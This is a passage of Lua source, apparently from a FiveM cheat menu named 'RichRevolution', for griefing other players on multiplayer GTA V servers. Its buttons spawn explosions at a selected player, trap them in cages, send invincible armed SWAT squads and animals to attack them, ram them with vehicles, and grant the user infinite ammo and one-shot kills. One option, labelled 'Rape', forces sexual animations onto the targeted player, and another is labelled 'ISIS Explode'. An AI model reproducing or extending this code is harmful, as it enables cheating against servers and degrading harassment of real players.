  8221. true
  8222. )
  8223. AttachEntityToEntity(
  8224. bI,
  8225. GetPlayerPed(SelectedPlayer),
  8226. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8227. 0.4,
  8228. 0,
  8229. 0,
  8230. 0,
  8231. 270.0,
  8232. 60.0,
  8233. true,
  8234. true,
  8235. false,
  8236. true,
  8237. 1,
  8238. true
  8239. )
  8240. AttachEntityToEntity(
  8241. bJ,
  8242. GetPlayerPed(SelectedPlayer),
  8243. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
  8244. 0.4,
  8245. 0,
  8246. 0,
  8247. 0,
  8248. 270.0,
  8249. 60.0,
  8250. true,
  8251. true,
  8252. false,
  8253. true,
  8254. 1,
  8255. true
  8256. )
  8257. elseif RichRevolution.Button('~r~ISIS Explode') then
  8258. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, 100000.0)
  8259. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 5, 3000.0, true, false, true)
  8260. elseif RichRevolution.Button("Small invisible Explosion") then
  8261. AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 2, 100000.0, false, true, 0)
  8262. elseif RichRevolution.Button('~r~Rape') then
  8263. RequestModelSync('a_m_o_acult_01')
  8264. RequestAnimDict('rcmpaparazzo_2')
  8265. while not HasAnimDictLoaded('rcmpaparazzo_2') do
  8266. Citizen.Wait(0)
  8267. end
  8268. if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
  8269. local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
  8270. while not NetworkHasControlOfEntity(veh) do
  8271. NetworkRequestControlOfEntity(veh)
  8272. Citizen.Wait(0)
  8273. end
  8274. SetEntityAsMissionEntity(veh, true, true)
  8275. DeleteVehicle(veh)
  8276. DeleteEntity(veh)
  8277. end
  8278. count = -0.2
  8279. for b = 1, 3 do
  8280. local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
  8281. local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
  8282. SetEntityAsMissionEntity(bS, true, true)
  8283. AttachEntityToEntity(
  8284. bS,
  8285. GetPlayerPed(SelectedPlayer),
  8286. 4103,
  8287. 11816,
  8288. count,
  8289. 0.00,
  8290. 0.0,
  8291. 0.0,
  8292. 0.0,
  8293. 0.0,
  8294. false,
  8295. false,
  8296. false,
  8297. false,
  8298. 2,
  8299. true
  8300. )
  8301. ClearPedTasks(GetPlayerPed(SelectedPlayer))
  8302. TaskPlayAnim(
  8303. GetPlayerPed(SelectedPlayer),
  8304. 'rcmpaparazzo_2',
  8305. 'shag_loop_poppy',
  8306. 2.0,
  8307. 2.5,
  8308. -1,
  8309. 49,
  8310. 0,
  8311. 0,
  8312. 0,
  8313. 0
  8314. )
  8315. SetPedKeepTask(bS)
  8316. TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
  8317. SetEntityInvincible(bS, true)
  8318. count = count - 0.4
  8319. end
  8320. elseif RichRevolution.Button('~r~Cage ~s~Player') then
  8321. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  8322. roundx = tonumber(string.format('%.2f', x))
  8323. roundy = tonumber(string.format('%.2f', y))
  8324. roundz = tonumber(string.format('%.2f', z))
  8325. local e7 = 'prop_fnclink_05crnr1'
  8326. local e8 = GetHashKey(e7)
  8327. RequestModel(e8)
  8328. while not HasModelLoaded(e8) do
  8329. Citizen.Wait(0)
  8330. end
  8331. local e9 = CreateObject(e8, roundx - 1.70, roundy - 1.70, roundz - 1.0, true, true, false)
  8332. local ea = CreateObject(e8, roundx + 1.70, roundy + 1.70, roundz - 1.0, true, true, false)
  8333. SetEntityHeading(e9, -90.0)
  8334. SetEntityHeading(ea, 90.0)
  8335. FreezeEntityPosition(e9, true)
  8336. FreezeEntityPosition(ea, true)
  8337. elseif RichRevolution.Button('Wall ~s~Player') then
  8338. local eb = 'xs_prop_hamburgher_wl'
  8339. local ec = -145066854
  8340. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8341. AttachEntityToEntity(
  8342. ed,
  8343. GetPlayerPed(SelectedPlayer),
  8344. GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0),
  8345. 0,
  8346. 0,
  8347. -1.0,
  8348. 0.0,
  8349. 0.0,
  8350. 0,
  8351. true,
  8352. true,
  8353. false,
  8354. true,
  8355. 1,
  8356. true
  8357. )
  8358. elseif RichRevolution.Button('Wall ~s~Player Car') then
  8359. local eb = 'xs_prop_hamburgher_wl'
  8360. local ec = -145066854
  8361. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  8362. AttachEntityToEntity(
  8363. ed,
  8364. GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
  8365. GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false), 'chassis'),
  8366. 0,
  8367. 0,
  8368. -1.0,
  8369. 0.0,
  8370. 0.0,
  8371. 0,
  8372. true,
  8373. true,
  8374. false,
  8375. true,
  8376. 1,
  8377. true
  8378. )
  8379. elseif RichRevolution.Button('Fuck Up ~s~Player') then
  8380. j = true
  8381. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  8382. roundx = tonumber(string.format('%.2f', x))
  8383. roundy = tonumber(string.format('%.2f', y))
  8384. roundz = tonumber(string.format('%.2f', z))
  8385. local ee = 'sr_prop_spec_tube_xxs_01a'
  8386. local ef = GetHashKey(ee)
  8387. RequestModel(ef)
  8388. RequestModel(smashhash)
  8389. while not HasModelLoaded(ef) do
  8390. Citizen.Wait(0)
  8391. end
  8392. local eg = CreateObject(ef, roundx, roundy, roundz - 5.0, true, true, false)
  8393. SetEntityRotation(eg, 0.0, 90.0, 0.0)
  8394. local eh = -356333586
  8395. local bR = 'WEAPON_SNOWBALL'
  8396. for i = 0, 10 do
  8397. local bK = GetEntityCoords(eg)
  8398. RequestModel(eh)
  8399. Citizen.Wait(50)
  8400. if HasModelLoaded(eh) then
  8401. local ped =
  8402. CreatePed(
  8403. 21,
  8404. eh,
  8405. bK.x + math.sin(i * 2.0),
  8406. bK.y - math.sin(i * 2.0),
  8407. bK.z - 5.0,
  8408. 0,
  8409. true,
  8410. true
  8411. ) and
  8412. CreatePed(
  8413. 21,
  8414. eh,
  8415. bK.x - math.sin(i * 2.0),
  8416. bK.y + math.sin(i * 2.0),
  8417. bK.z - 5.0,
  8418. 0,
  8419. true,
  8420. true
  8421. )
  8422. NetworkRegisterEntityAsNetworked(ped)
  8423. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8424. local ei = PedToNet(ped)
  8425. NetworkSetNetworkIdDynamic(ei, false)
  8426. SetNetworkIdCanMigrate(ei, true)
  8427. SetNetworkIdExistsOnAllMachines(ei, true)
  8428. Citizen.Wait(500)
  8429. NetToPed(ei)
  8430. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8431. SetCurrentPedWeapon(ped, GetHashKey(bR), true)
  8432. SetEntityInvincible(ped, true)
  8433. SetPedCanSwitchWeapon(ped, true)
  8434. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8435. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8436. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8437. else
  8438. Citizen.Wait(0)
  8439. end
  8440. end
  8441. end
  8442. elseif RichRevolution.Button("Spawn Mountain Lion") then
  8443. local mtlion = "A_C_MtLion"
  8444. for i = 0, 10 do
  8445. local co = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8446. RequestModel(GetHashKey(mtlion))
  8447. Citizen.Wait(50)
  8448. if HasModelLoaded(GetHashKey(mtlion)) then
  8449. local ped =
  8450. CreatePed(21, GetHashKey(mtlion), co.x, co.y, co.z, 0, true, true)
  8451. NetworkRegisterEntityAsNetworked(ped)
  8452. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8453. local ei = PedToNet(ped)
  8454. NetworkSetNetworkIdDynamic(ei, false)
  8455. SetNetworkIdCanMigrate(ei, true)
  8456. SetNetworkIdExistsOnAllMachines(ei, true)
  8457. Citizen.Wait(50)
  8458. NetToPed(ei)
  8459. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8460. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8461. TaskCombatHatedTargetsInArea(ped, co.x, co.y, co.z, 500)
  8462. else
  8463. Citizen.Wait(0)
  8464. end
  8465. end
  8466. end
  8467. elseif RichRevolution.Button("~h~~r~Spawn ~s~Swat army with ~y~AK") then
  8468. local bQ = "s_m_y_swat_01"
  8469. local bR = "WEAPON_ASSAULTRIFLE"
  8470. for i = 0, 10 do
  8471. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8472. RequestModel(GetHashKey(bQ))
  8473. Citizen.Wait(50)
  8474. if HasModelLoaded(GetHashKey(bQ)) then
  8475. local ped =
  8476. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8477. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8478. NetworkRegisterEntityAsNetworked(ped)
  8479. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8480. local ei = PedToNet(ped)
  8481. NetworkSetNetworkIdDynamic(ei, false)
  8482. SetNetworkIdCanMigrate(ei, true)
  8483. SetNetworkIdExistsOnAllMachines(ei, true)
  8484. Citizen.Wait(50)
  8485. NetToPed(ei)
  8486. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8487. SetEntityInvincible(ped, true)
  8488. SetPedCanSwitchWeapon(ped, true)
  8489. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8490. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8491. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8492. else
  8493. Citizen.Wait(0)
  8494. end
  8495. end
  8496. end
  8497. elseif RichRevolution.Button("~h~~r~Spawn ~s~Swat army with ~y~RPG") then
  8498. local bQ = "s_m_y_swat_01"
  8499. local bR = "weapon_rpg"
  8500. for i = 0, 10 do
  8501. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8502. RequestModel(GetHashKey(bQ))
  8503. Citizen.Wait(50)
  8504. if HasModelLoaded(GetHashKey(bQ)) then
  8505. local ped =
  8506. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8507. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8508. NetworkRegisterEntityAsNetworked(ped)
  8509. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8510. local ei = PedToNet(ped)
  8511. NetworkSetNetworkIdDynamic(ei, false)
  8512. SetNetworkIdCanMigrate(ei, true)
  8513. SetNetworkIdExistsOnAllMachines(ei, true)
  8514. Citizen.Wait(50)
  8515. NetToPed(ei)
  8516. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8517. SetEntityInvincible(ped, true)
  8518. SetPedCanSwitchWeapon(ped, true)
  8519. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8520. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8521. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8522. else
  8523. Citizen.Wait(0)
  8524. end
  8525. end
  8526. end
  8527.  
  8528. elseif RichRevolution.Button("~h~~r~Spawn ~s~Swat army with ~y~Flaregun") then
  8529. local bQ = "s_m_y_swat_01"
  8530. local bR = "weapon_flaregun"
  8531. for i = 0, 10 do
  8532. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8533. RequestModel(GetHashKey(bQ))
  8534. Citizen.Wait(50)
  8535. if HasModelLoaded(GetHashKey(bQ)) then
  8536. local ped =
  8537. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8538. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8539. NetworkRegisterEntityAsNetworked(ped)
  8540. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8541. local ei = PedToNet(ped)
  8542. NetworkSetNetworkIdDynamic(ei, false)
  8543. SetNetworkIdCanMigrate(ei, true)
  8544. SetNetworkIdExistsOnAllMachines(ei, true)
  8545. Citizen.Wait(50)
  8546. NetToPed(ei)
  8547. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8548. SetEntityInvincible(ped, true)
  8549. SetPedCanSwitchWeapon(ped, true)
  8550. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8551. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8552. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8553. else
  8554. Citizen.Wait(0)
  8555. end
  8556. end
  8557. end
  8558. elseif RichRevolution.Button("~h~~r~Spawn ~s~Swat army with ~y~Railgun") then
  8559. local bQ = "s_m_y_swat_01"
  8560. local bR = "weapon_railgun"
  8561. for i = 0, 10 do
  8562. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8563. RequestModel(GetHashKey(bQ))
  8564. Citizen.Wait(50)
  8565. if HasModelLoaded(GetHashKey(bQ)) then
  8566. local ped =
  8567. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, true) and
  8568. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, true)
  8569. NetworkRegisterEntityAsNetworked(ped)
  8570. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8571. local ei = PedToNet(ped)
  8572. NetworkSetNetworkIdDynamic(ei, false)
  8573. SetNetworkIdCanMigrate(ei, true)
  8574. SetNetworkIdExistsOnAllMachines(ei, true)
  8575. Citizen.Wait(50)
  8576. NetToPed(ei)
  8577. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8578. SetEntityInvincible(ped, true)
  8579. SetPedCanSwitchWeapon(ped, true)
  8580. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8581. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8582. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8583. else
  8584. Citizen.Wait(0)
  8585. end
  8586. end
  8587. end
  8588. elseif RichRevolution.Button("Rain Agressive NPC") then
  8589. local bQ = "mp_f_cocaine_01"
  8590. local bR = "weapon_knife"
  8591. for i = 0, 10 do
  8592. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  8593. RequestModel(GetHashKey(bQ))
  8594. Citizen.Wait(50)
  8595. if HasModelLoaded(GetHashKey(bQ)) then
  8596. local ped =
  8597. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z + 15, 0, true, true)
  8598. NetworkRegisterEntityAsNetworked(ped)
  8599. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8600. local ei = PedToNet(ped)
  8601. NetworkSetNetworkIdDynamic(ei, false)
  8602. SetNetworkIdCanMigrate(ei, true)
  8603. SetNetworkIdExistsOnAllMachines(ei, true)
  8604. Citizen.Wait(50)
  8605. NetToPed(ei)
  8606. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  8607. SetEntityInvincible(ped, true)
  8608. SetPedCanSwitchWeapon(ped, true)
  8609. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  8610. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  8611. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  8612. else
  8613. Citizen.Wait(0)
  8614. end
  8615. end
  8616. end
  8617. elseif RichRevolution.MenuButton("~r~→ ~s~Spawn Props On Player", "SpawnPropsMenu") then
  8618. elseif RichRevolution.CheckBox(
  8619. "Freeze Player",
  8620. freezePlayer,
  8621. function(enabled)
  8622. freezePlayer = enabled
  8623. end)
  8624. then
  8625. end
  8626.  
  8627. RichRevolution.Display()
  8628. elseif RichRevolution.IsMenuOpened("SpawnPropsMenu") then
  8629. if RichRevolution.CheckBox(
  8630. "Attach Prop To Player",
  8631. attachProp,
  8632. function(enabled)
  8633. attachProp = enabled
  8634. end)
  8635. then
  8636. elseif RichRevolution.ComboBox("Bone", { "Head", "Right Hand" }, currentBone, selectedBone, function(currentIndex, selectedIndex)
  8637. currentBone = currentIndex
  8638. selectedBone = selectedIndex
  8639. end)
  8640. then
  8641. elseif RichRevolution.Button("Weed") then
  8642. local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
  8643. local obj = CreateObject(GetHashKey("prop_weed_01"),coords.x,coords.y,coords.z,true,true,true)
  8644. if attachProp then
  8645. if selectedBone == 1 then
  8646. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8647. elseif selectedBone == 2 then
  8648. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8649. end
  8650. end
  8651. elseif RichRevolution.Button("UFO") then
  8652. local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
  8653. local obj = CreateObject(GetHashKey("p_spinning_anus_s"),coords.x,coords.y,coords.z,true,true,true)
  8654. if attachProp then
  8655. if selectedBone == 1 then
  8656. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8657. elseif selectedBone == 2 then
  8658. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8659. end
  8660. end
  8661. elseif RichRevolution.Button("Windmill") then
  8662. local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
  8663. local obj = CreateObject(GetHashKey("prop_windmill_01"),coords.x,coords.y,coords.z,true,true,true)
  8664. if attachProp then
  8665. if selectedBone == 1 then
  8666. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),39317),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8667. elseif selectedBone == 2 then
  8668. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8669. end
  8670. end
  8671. elseif RichRevolution.Button("Custom Prop") then
  8672. local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
  8673. local input = KeyboardInput("Enter Prop Name", "", 100)
  8674. if IsModelValid(input) then
  8675. local obj = CreateObject(GetHashKey(input),coords.x,coords.y,coords.z,true,true,true)
  8676. if attachProp then
  8677. if selectedBone == 1 then
  8678. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8679. elseif selectedBone == 2 then
  8680. AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
  8681. end
  8682. end
  8683. else
  8684. drawNotification("Invalid Model!")
  8685. end
  8686. end
  8687.  
  8688. RichRevolution.Display()
  8689. elseif RichRevolution.IsMenuOpened("VehicleRamMenu") then
  8690. if RichRevolution.Button("Futo") then
  8691. local model = GetHashKey("futo")
  8692. RequestModel(model)
  8693. while not HasModelLoaded(model) do
  8694. Citizen.Wait(0)
  8695. end
  8696. local offset = GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
  8697. if HasModelLoaded(model) then
  8698. local veh = CreateVehicle(model, offset.x, offset.y, offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
  8699. SetVehicleForwardSpeed(veh, 120.0)
  8700. end
  8701. elseif RichRevolution.Button("Bus") then
  8702. local model = GetHashKey("bus")
  8703. RequestModel(model)
  8704. while not HasModelLoaded(model) do
  8705. Citizen.Wait(0)
  8706. end
  8707. local offset = GetOffsetFromEntityInWorldCoords(GetPlayerPed(selectedPlayer), 0, -10.0, 0)
  8708. if HasModelLoaded(model) then
  8709. local veh = CreateVehicle(model, offset.x, offset.y, offset.z, GetEntityHeading(GetPlayerPed(selectedPlayer)), true, true)
  8710. SetVehicleForwardSpeed(veh, 120.0)
  8711. end
  8712. end
  8713.  
  8714.  
  8715. RichRevolution.Display()
  8716. elseif RichRevolution.IsMenuOpened("SingleWepPlayer") then
  8717. for i = 1, #allWeapons do
  8718. if RichRevolution.Button(allWeapons[i]) then
  8719. GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 250, false, true)
  8720. end
  8721. end
  8722.  
  8723.  
  8724. RichRevolution.Display()
  8725. elseif RichRevolution.IsMenuOpened("WeaponMenu") then
  8726. if RichRevolution.MenuButton("~g~→ ~s~Single Weapon Spawner", "SingleWeaponMenu") then
  8727. elseif RichRevolution.Button("Give All Weapons") then
  8728. for i = 1, #allWeapons do
  8729. GiveWeaponToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 250, false, false)
  8730. end
  8731. elseif RichRevolution.Button("Remove All Weapons") then
  8732. for i = 1, #allWeapons do
  8733. RemoveAllPedWeapons(PlayerPedId(), true)
  8734. end
  8735. elseif RichRevolution.Button("Give Ammo") then
  8736. for i = 1, #allWeapons do
  8737. AddAmmoToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 250)
  8738. end
  8739. elseif RichRevolution.CheckBox(
  8740. "No Reload",
  8741. dwadawdwd,
  8742. function(enabled)
  8743. dwadawdwd = enabled
  8744. SetPedInfiniteAmmoClip(PlayerPedId(), dwadawdwd)
  8745. end)
  8746. then
  8747. elseif RichRevolution.CheckBox(
  8748. "Infinite Ammo",
  8749. JYGNDJ,
  8750. function(enabled)
  8751. JYGNDJ = enabled
  8752. SetPedInfiniteAmmo(PlayerPedId(), JYGNDJ)
  8753. end)
  8754. then
  8755. elseif RichRevolution.CheckBox(
  8756. "Explosive Ammo",
  8757. bifegfubffff,
  8758. function(enabled)
  8759. bifegfubffff = enabled
  8760. end)
  8761. then
  8762. elseif RichRevolution.CheckBox(
  8763. "Oneshot",
  8764. Oneshot,
  8765. function(enabled)
  8766. Oneshot = enabled
  8767. end)
  8768. then
  8769. elseif RichRevolution.CheckBox(
  8770. "No Recoil",
  8771. NOXJDSS,
  8772. function(enabled)
  8773. NOXJDSS = enabled
  8774. end)
  8775. then
  8776. elseif RichRevolution.CheckBox(
  8777. "Delete Gun",
  8778. WADOHWIB,
  8779. function(enabled)
  8780. WADOHWIB = enabled
  8781. end)
  8782. then
  8783. elseif RichRevolution.MenuButton("~g~→ ~s~Weapon Customization", "WeaponCustomization") then
  8784. elseif RichRevolution.MenuButton("~g~→ ~s~Bullet Gun Options", "BulletGunMenu") then
  8785. end
  8786.  
  8787. RichRevolution.Display()
  8788. elseif RichRevolution.IsMenuOpened("WeaponCustomization") then
  8789. if RichRevolution.CheckBox(
  8790. "Rainbow Tint",
  8791. rainbowTint,
  8792. function(enabled)
  8793. rainbowTint = enabled
  8794. end)
  8795. then
  8796. elseif RichRevolution.ComboBox("Weapon Tints", { "Normal", "Green", "Gold", "Pink", "Army", "LSPD", "Orange", "Platinum" }, currentTint, selectedTint, function(currentIndex, selectedIndex)
  8797. currentTint = currentIndex
  8798. selectedTint = selectedIndex
  8799.  
  8800. if selectedTint == 1 then
  8801. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0)
  8802. end
  8803. if selectedTint == 2 then
  8804. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 1)
  8805. end
  8806. if selectedTint == 3 then
  8807. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 2)
  8808. end
  8809. if selectedTint == 4 then
  8810. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 3)
  8811. end
  8812. if selectedTint == 5 then
  8813. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 4)
  8814. end
  8815. if selectedTint == 6 then
  8816. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 5)
  8817. end
  8818. if selectedTint == 7 then
  8819. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 6)
  8820. end
  8821. if selectedTint == 8 then
  8822. SetPedWeaponTintIndex(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 7)
  8823. end
  8824. end)
  8825. then
  8826. elseif RichRevolution.Button("~g~Add Special Finish") then
  8827. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
  8828. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
  8829. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
  8830. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
  8831. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
  8832. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
  8833. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
  8834. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
  8835. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
  8836. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
  8837. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
  8838. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
  8839. elseif RichRevolution.Button("~r~Remove Special Finish") then
  8840. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x27872C90)
  8841. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xD7391086)
  8842. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x9B76C72C)
  8843. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x487AAE09)
  8844. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x85A64DF9)
  8845. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x377CD377)
  8846. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xD89B9658)
  8847. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x4EAD7533)
  8848. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x4032B5E7)
  8849. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x77B8AB2F)
  8850. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x7A6A7B7B)
  8851. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x161E9241)
  8852. elseif RichRevolution.Button("~g~Add Suppressor") then
  8853. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x65EA7EBB)
  8854. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x837445AA)
  8855. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xA73D4664)
  8856. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xC304849A)
  8857. GiveWeaponComponentToPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xE608B35E)
  8858. elseif RichRevolution.Button("~r~Remove Suppressor") then
  8859. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x65EA7EBB)
  8860. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0x837445AA)
  8861. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xA73D4664)
  8862. RemoveWeaponComponentFromPed(PlayerPedId(), GetSelectedPedWeapon(PlayerPedId()), 0xC304849A)
